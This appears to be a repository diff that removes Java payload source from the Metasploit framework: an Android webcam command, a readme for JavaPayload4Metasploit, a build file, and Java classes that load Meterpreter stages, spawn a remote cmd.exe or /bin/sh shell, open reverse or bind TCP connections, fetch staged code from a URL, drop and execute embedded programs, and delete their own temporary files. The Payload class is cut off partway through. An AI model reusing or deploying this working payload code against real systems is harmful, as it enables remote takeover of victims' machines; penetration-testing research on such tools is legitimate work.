import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.util.Log;
public class webcam_stop_android extends webcam_audio_record implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
try {
if (webcam_start_android.camera != null) {
webcam_start_android.camera.stopPreview();
webcam_start_android.camera.release();
webcam_start_android.camera = null;
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}

View File

@ -1,198 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<style type="text/css">
body {
font-family: Verdana, Arial, sans-serif;
font-size: 10pt;
}
p {
margin-left: 2em;
margin-right: 2em;
}
</style>
<title>JavaPayload4Metasploit - Single payload loader class to
be used in the Metasploit project</title>
</head>
<body>
<h1>JavaPayload4Metasploit - Single payload loader class to be used
in the Metasploit project</h1>
<p><i>&copy; 2010 Michael 'mihi' Schierl, <tt>&lt;schierlm
at users dot sourceforge dot net&gt;</tt></i></p>
<h2>Introduction</h2>
<p>The <a href="http://schierlm.users.sourceforge.net/JavaPayload/">JavaPayload</a>s
contain useful payloads written in pure Java. But they assume that the
attacker has a Java VM on his machine, as the the builders and stage
handlers are written in Java. In addition, when creating a new payload
class that should reside in a signed jar, the jar has to be re-signed as
classes have changed.</p>
<p>In contrast, this package contains a single <i>metasploit.Payload</i>
class which is configured by a property file in the classpath (i. e. in
the same jar). As it is possible to add unsigned resources to a jar
without requiring to re-sign it, and as it is easy to manipulate zip/jar
files from Ruby, this makes it possible to leverage the powers of
JavaPayload from Metasploit which is written in Ruby and not in Java.</p>
<h2>System requirements</h2>
<p>Same as JavaPayload. JRE 1.2 on the victim machine is enough <tt>:-)</tt></p>
<p>On the attacker machine, no Java at all is required.</p>
<h2>How to use the <i>Payload</i> class.</h2>
<p>The <i>Payload</i> class is
a standard java main class (i. e. it has a <tt>public
static void main(String[])</tt> method), so the most obvious way to invoke it
is putting it into a Jar file whose manifest's <tt>Main-Class</tt>
attribute is <tt>metasploit.Payload</tt>. The resuling jar can be
started using <tt>java -jar jarfile.jar</tt>. There are 3 example jars
available that use this technique; they are described later.</p>
<p>Alternatively, the main class can of course be called from other
classes, like <tt>metasploit.Payload.main(null);</tt>, as the arguments
parameter is ignored. Note that in a sandboxed environment the caller
needs to have all permissions, and also the <i>Payload</i> class has to
be loaded with all permissions. In case there is untrusted code on the
stack trace (but the direct caller has all permissions), the call has to
be wrapped in a <a
href="http://download.oracle.com/javase/1.4.2/docs/api/java/security/AccessController.html#doPrivileged(java.security.PrivilegedExceptionAction)">doPrivileged</a>
call (like it is done in the several well known public exploits for
CVE-2008-5353).</p>
<p>Once loaded, the class will lookup a file called <tt>/metasploit.dat</tt>
from the class path and load it as a <a
href="http://download.oracle.com/javase/1.4.2/docs/api/java/util/Properties.html#load(java.io.InputStream)">Property
file</a> (basically a text file with <tt>Name=value</tt> lines, but note
that some special characters need escaping). If the file cannot be
found, default values are used.</p>
<p>Depending on the property values (see below), the class will then
optionally write itself to disk and spawn a sub-process (once or several
times) to disconnect the payload from the calling process. All temporary
files will be deleted afterwards. (Even on Windows it is possible to
delete a running class file as technically, not the class file but the
Java VM is running).</p>
<p>After that, it will either listen on a port and accept a socket,
connect to an URL (using a protocol like HTTP or HTTPS),
create an active socket connection, or (for debugging purposes) just
uses standard input and standard output; in any case, the resulting
input/output streams are used for the staging</p>
<p>Once the stage is loaded, the streams are handed to the stage.
Stages may require optional parameters (a string) which can be given
in the property file.</p>
<p>When the stage quits, the payload class terminates and cleans up
after itself if needed.</p>
<h2>Supported properties (and their default values)</h2>
<h3><tt>Spawn</tt>(<tt>=0</tt>)</h3>
<p>The number of java processes that should be spawned. <tt>0</tt>
will run the payload inside the original process, <tt>1</tt> will spawn
once (to continue running when the original process terminates), and <tt>2</tt>
will spawn twice (on certain popular operating systems it is impossible
to obtain parent process informaion if the parent process has already
died).</p>
<h3><tt>Executable</tt>(<tt>=</tt>)</h3>
<p>Points to an executable in the class path (next to
metasploit.dat), which will be extracted to a temporary directory (with
original filename), made executable (if needed by the OS) and executed.
When this option is present, no staging will be performed and all
options documented below are ignored.</p>
<h3><tt>StageParameters</tt>(<tt>=</tt>)</h3>
<p>Additional parameters to be used by the stage, regardless whether
it was embedded or not. Only few stages support/require parameters.</p>
<h3><tt>URL</tt>(<tt>=</tt>)</h3>
<p>Load the stage from this URL. The URL will be requested and the
resulting stream will be used for loading the stage classes from.
As the stage's output stream will discard all input, this is only
useful with stages (like Meterpreter) that can communicate via
some other means back to the attacker.</p>
<p><b>Note: </b>If this option is given, LHOST and LPORT are ignored.</p>
<h3><tt>LPORT</tt>(<tt>=4444</tt>)</h3>
<p>Port to listen on or to connect to (if <tt>LHOST</tt> is also
set). If explicitly set to <tt>0</tt>, no connection will be made, but
standard input/output streams will be used instead.</p>
<h3><tt>LHOST</tt>(<tt>=<a></a></tt>)</h3>
<p>Host to connect to. If not set, the payload will listen instead.</p>
<h2>Staging protocol</h2>
<p>The staging protocol is quite simple. All classes are sent
uncompressed (as they are inside the .jar file). Each class is prefixed
by a 32-bit big-endian size. After the last class, a size of 0 is sent.
The classes will be defined in the order they are sent (i. e. they can
only refer to classes defined before), and the last sent class will be
loaded as a stage.</p>
<p>In case of an embedded stage, no staging is used - the stream is
directly passed to the stage.</p>
<h2>Supported stages (in alphabetical order)</h2>
<p>The stages are original <a
href="http://schierlm.users.sourceforge.net/JavaPayload/">JavaPayload</a>
stages to make updates easier. All stages listed here can be used
without special "Java" tricks (like serialization or JDWP protocol), to
easily use them from Ruby.</p>
<h3><tt>Meterpreter</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage,
com.metasploit.meterpreter.MemoryBufferURLConnection,
com.metasploit.meterpreter.MemoryBufferURLStreamHandler,
javapayload.stage.Meterpreter</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd>Optional parameter <tt>NoRedirect</tt> for debugging.</dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>Meterpreter protocol</dd>
</dl>
<p>Loader to load the Java version of Metasploit's own
post-exploitation toolkit.</p>
<h3><tt>Shell</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
javapayload.stage.Shell</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd>Not supported</dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>Plain text</dd>
</dl>
<p>This stager loads /bin/sh on Unix systems and cmd.exe on Windows
systems, and else just behaves like the <tt>Exec</tt> stage.</p>
</body>
</html>

View File

@ -1,144 +0,0 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload</artifactId>
<parent>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload-parent</artifactId>
<version>1-SNAPSHOT</version>
</parent>
<packaging>jar</packaging>
<name>JavaPayload for Metasploit</name>
<url>http://www.metasploit.com/</url>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.2</version>
</dependency>
</dependencies>
<profiles>
<profile>
<!-- deploy built files to Metasploit data directory -->
<id>deploy</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<copy todir="${project.basedir}/../../../../data/java">
<fileset dir="${project.basedir}/target/classes">
<exclude name="metasploit/PayloadApplet.class" />
<exclude name="rmi/**" />
<exclude name="metasploit.dat" />
</fileset>
</copy>
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
<profile>
<!-- build example JARs -->
<id>examples</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<!-- example: spawning bind -->
<propertyfile file="${project.basedir}/target/classes/metasploit.dat">
<entry key="Spawn" value="2" />
<entry key="LPORT" value="5555" />
</propertyfile>
<jar destfile="${project.basedir}/example-spawn-bind.jar">
<manifest>
<attribute name="Main-Class" value="metasploit.Payload" />
</manifest>
<fileset dir="${project.basedir}/target/classes">
<include name="metasploit/Payload.class" />
<include name="metasploit.dat" />
</fileset>
</jar>
<delete file="${project.basedir}/target/classes/metasploit.dat" />
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
<profile>
<!-- build dummy jar used for capturing communication and for testing RMI injection -->
<id>buildrmi</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<propertyfile file="${project.basedir}/target/classes/metasploit.dat">
<entry key="LPORT" value="4444" />
<entry key="LHOST" value="127.0.0.1" />
</propertyfile>
<mkdir dir="${project.basedir}/target/rmi/build" />
<jar destfile="${project.basedir}/target/rmi/rmidummy.jar">
<manifest>
<attribute name="Main-Class" value="metasploit.Payload" />
</manifest>
<fileset dir="${project.basedir}/target/classes">
<include name="metasploit/RMILoader.class" />
<include name="metasploit/RMIPayload.class" />
<include name="metasploit/Payload.class" />
<include name="metasploit.dat" />
</fileset>
</jar>
<delete file="${project.basedir}/target/classes/metasploit.dat" />
<!-- rename local metasploit/RMILoader.class to ensure a classloader
URL will be serialized -->
<move file="${project.basedir}/target/classes/metasploit/RMILoader.class" tofile="${project.basedir}/target/classes/metasploit/RMILoader.class.tmp" />
<!-- run the capture server -->
<java classpath="${project.basedir}/target/classes" classname="rmi.RMICaptureServer" dir="${project.basedir}/target/rmi" fork="true" />
<!-- rename back -->
<move file="${project.basedir}/target/classes/metasploit/RMILoader.class.tmp" tofile="${project.basedir}/target/classes/metasploit/RMILoader.class" />
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>

View File

@ -1,104 +0,0 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
/**
* An {@link URLConnection} for an URL that is stored completely in memory.
*
* @author mihi
*/
public class MemoryBufferURLConnection extends URLConnection {
private static List files = new ArrayList();
static {
// tweak the cache of already loaded protocol handlers via reflection
try {
Field fld;
try {
fld = URL.class.getDeclaredField("handlers");
} catch (NoSuchFieldException ex) {
try {
// GNU Classpath (libgcj) calls this field differently
fld = URL.class.getDeclaredField("ph_cache");
} catch (NoSuchFieldException ex2) {
// throw the original exception
throw ex;
}
}
fld.setAccessible(true);
Map handlers = (Map) fld.get(null);
// Note that although this is a static initializer, it can happen
// that two threads are entering this spot at the same time: When
// there is more than one classloader context (e. g. in a servlet
// container with Spawn=0) and more than one of them is loading
// a copy of this class at the same time. Work around this by
// letting all of them use the same URL stream handler object.
synchronized(handlers) {
// do not use the "real" class name here as the same class
// loaded in different classloader contexts is not the same
// one for Java -> ClassCastException
Object /*MemoryBufferURLStreamHandler*/ handler;
if (handlers.containsKey("metasploitmembuff")) {
handler = handlers.get("metasploitmembuff");
} else {
handler = new MemoryBufferURLStreamHandler();
handlers.put("metasploitmembuff", handler);
}
// for the same reason, use reflection to obtain the files List
files = (List) handler.getClass().getMethod("getFiles", new Class[0]).invoke(handler, new Object[0]);
}
} catch (Exception ex) {
throw new RuntimeException(ex.toString());
}
}
/**
* Create a new URL from a byte array and its content type.
*/
public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
synchronized(files) {
files.add(data);
return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
}
}
private final byte[] data;
private final String contentType;
protected MemoryBufferURLConnection(URL url) {
super(url);
String file = url.getFile();
int pos = file.indexOf('/');
synchronized (files) {
data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos)));
}
contentType = file.substring(pos + 1);
}
public void connect() throws IOException {
}
public InputStream getInputStream() throws IOException {
return new ByteArrayInputStream(data);
}
public int getContentLength() {
return data.length;
}
public String getContentType() {
return contentType;
}
}

View File

@ -1,26 +0,0 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.ArrayList;
import java.util.List;
/**
* An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection}
*
* @author mihi
*/
public class MemoryBufferURLStreamHandler extends URLStreamHandler {
private List files = new ArrayList();
protected URLConnection openConnection(URL u) throws IOException {
return new MemoryBufferURLConnection(u);
}
public List getFiles() {
return files;
}
}

View File

@ -1,25 +0,0 @@
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLClassLoader;
import com.metasploit.meterpreter.MemoryBufferURLConnection;
/**
* Meterpreter Java Payload Proxy
*/
public class Meterpreter implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
boolean noRedirectError = parameters[parameters.length-1].equals("NoRedirect");
int coreLen = in.readInt();
byte[] core = new byte[coreLen];
in.readFully(core);
URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
new URLClassLoader(new URL[] { coreURL }, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[] { DataInputStream.class, OutputStream.class, boolean.class, boolean.class }).newInstance(new Object[] { in, out, Boolean.TRUE, new Boolean(!noRedirectError) });
in.close();
out.close();
}
}

View File

@ -1,56 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
public class Shell implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
final String[] cmdarray = new String[1];
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
cmdarray[0] = "cmd.exe";
} else {
cmdarray[0] = "/bin/sh";
}
final Process proc = Runtime.getRuntime().exec(cmdarray);
new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start();
new StreamForwarder(proc.getErrorStream(), out, out).start();
proc.waitFor();
in.close();
out.close();
}
}

View File

@ -1,42 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
public interface Stage {
public abstract void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception;
}

View File

@ -1,99 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
public class StreamForwarder extends Thread {
public static void forward(InputStream in, OutputStream out) throws IOException {
forward(in, out, true);
}
public static void forward(InputStream in, OutputStream out, boolean closeOut) throws IOException {
try {
final byte[] buf = new byte[4096];
int length;
while ((length = in.read(buf)) != -1) {
if (out != null) {
out.write(buf, 0, length);
if (in.available() == 0) {
out.flush();
}
}
}
} finally {
in.close();
if (closeOut)
out.close();
}
}
private final InputStream in;
private final OutputStream out;
private final OutputStream stackTraceOut;
private final boolean closeOut;
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) {
this(in,out,stackTraceOut,true);
}
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut, boolean closeOut) {
this.in = in;
this.out = out;
this.stackTraceOut = stackTraceOut;
this.closeOut = closeOut;
}
public void run() {
try {
forward(in, out, closeOut);
} catch (final Throwable ex) {
if (stackTraceOut == null)
throwWrapped(ex);
ex.printStackTrace(new PrintStream(stackTraceOut, true));
}
}
private static void throwWrapped(Throwable ex) {
/* #JDK1.4 */try {
throw new RuntimeException(ex);
} catch (NoSuchMethodError ex2) /**/{
throw new RuntimeException(ex.toString());
}
}
}

View File

@ -1,42 +0,0 @@
package metasploit;
import java.io.DataInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.security.MessageDigest;
import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
/**
* Utility class to enable AES encryption for stagers. This is in its own class
* because it depends on classes only present on Sun JRE 1.4+, and incorporating
* it into the main {@link Payload} class would have made it impossible for
* other/older JREs to load it.
*/
public class AESEncryption {
public static Object[] wrapStreams(InputStream in, OutputStream out, String key) throws Exception {
DataInputStream din = new DataInputStream(in);
din.readInt(); // first class size 0 as marker in JavaPayload
SecureRandom sr = new SecureRandom();
byte[] outIV = new byte[16];
sr.nextBytes(outIV);
out.write(outIV);
out.flush();
byte[] inIV = new byte[16];
din.readFully(inIV);
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(key.getBytes());
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
return new Object[] {
new CipherInputStream(din, ci),
new CipherOutputStream(out, co),
};
}
}

View File

@ -1,387 +0,0 @@
/*
* Java Payloads loader class for Metasploit.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package metasploit;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.Locale;
import java.util.Properties;
import java.util.Stack;
import java.util.StringTokenizer;
/**
* The main payload loader class.
*
* To invoke all the magic, call the {@link #main(String[])} method
* (Or use it as Main-Class in a standalone jar and double-click it).
*/
public class Payload extends ClassLoader {
public static void main(String[] ignored) throws Exception {
// Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat".
Properties props = new Properties();
Class clazz = Payload.class;
String clazzFile = clazz.getName().replace('.', '/')+".class";
InputStream propsStream = clazz.getResourceAsStream("/metasploit.dat");
if (propsStream != null) {
props.load(propsStream);
propsStream.close();
}
// check if we should drop an executable
String executableName = props.getProperty("Executable");
if (executableName != null) {
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
tempDir.mkdir();
File executableFile = new File(tempDir, executableName);
writeEmbeddedFile(clazz, executableName, executableFile);
props.remove("Executable");
props.put("DroppedExecutable", executableFile.getCanonicalPath());
}
// check if we should respawn
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
String droppedExecutable = props.getProperty("DroppedExecutable");
if (spawn > 0) {
// decrease count so that eventually the process
// will stop spawning
props.setProperty("Spawn", String.valueOf(spawn - 1));
// write our class
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
File propFile = new File(tempDir, "metasploit.dat");
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
// load ourselves via the class loader (works both on disk and from Jar)
writeEmbeddedFile(clazz, clazzFile, classFile);
if(props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[] {
getJreExecutable("java"),
"-classpath",
tempDir.getAbsolutePath(),
clazz.getName()
});
// the input streams might cause the child process to block if
// we do not read or close them
proc.getInputStream().close();
proc.getErrorStream().close();
// give the process plenty of time to load the class if needed
Thread.sleep(2000);
// clean up (we can even delete the .class file on Windows
// if the process is still running). Note that delete()
// will only delete empty directories, so we have to delete
// everything else first
File[] files = new File[] {
classFile, classFile.getParentFile(), propFile, tempDir
};
for (int i = 0; i < files.length; i++) {
for (int j = 0; j < 10; j++) {
if (files[i].delete())
break;
files[i].deleteOnExit();
Thread.sleep(100);
}
}
} else if (droppedExecutable != null) {
File droppedFile = new File(droppedExecutable);
// File.setExecutable is Java 1.6+, therefore call it via reflection and try
// the chmod alternative if it fails. Do not call it at all for Windows.
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", new Class[] {boolean.class}).invoke(droppedFile, new Object[] { Boolean.TRUE});
} catch (NoSuchMethodException ex) {
// ok, no setExecutable method, call chmod and wait for it
Runtime.getRuntime().exec(new String[] {"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception ex) {
// try to continue anyway, we have nothing to lose
ex.printStackTrace();
}
}
// now execute the executable.
// tempdir may contain spaces, so do not use the String variant of exec!
Runtime.getRuntime().exec(new String[] {droppedExecutable});
// Linux and other Unices allow removing files while they are in use
if (!IS_DOS) {
droppedFile.delete();
droppedFile.getParentFile().delete();
}
} else {
// check what stager to use (bind/reverse)
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", null);
String url = props.getProperty("URL", null);
InputStream in;
OutputStream out;
if (lPort <= 0) {
// debug code: just connect to stdin/stdout
// best used with embedded stages
in = System.in;
out = System.out;
} else if (url != null) {
if (url.startsWith("raw:"))
// for debugging: just use raw bytes from property file
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
else if (url.startsWith("https:")) {
URLConnection uc = new URL(url).openConnection();
// load the trust manager via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+)
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[] {URLConnection.class}).invoke(null, new Object[] {uc});
in = uc.getInputStream();
} else
in = new URL(url).openStream();
out = new ByteArrayOutputStream();
} else {
Socket socket;
if (lHost != null) {
// reverse_tcp
socket = new Socket(lHost, lPort);
} else {
// bind_tcp
ServerSocket serverSocket = new ServerSocket(lPort);
socket = serverSocket.accept();
serverSocket.close(); // no need to listen any longer
}
in = socket.getInputStream();
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", null);
if (aesPassword != null) {
// load the crypto code via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+ or JCE)
Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] {InputStream.class, OutputStream.class, String.class}).invoke(null, new Object[] {in, out, aesPassword});
in = (InputStream) streams[0];
out = (OutputStream) streams[1];
}
// build the stage parameters, if any
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];
for (int i = 0; i < stageParams.length; i++) {
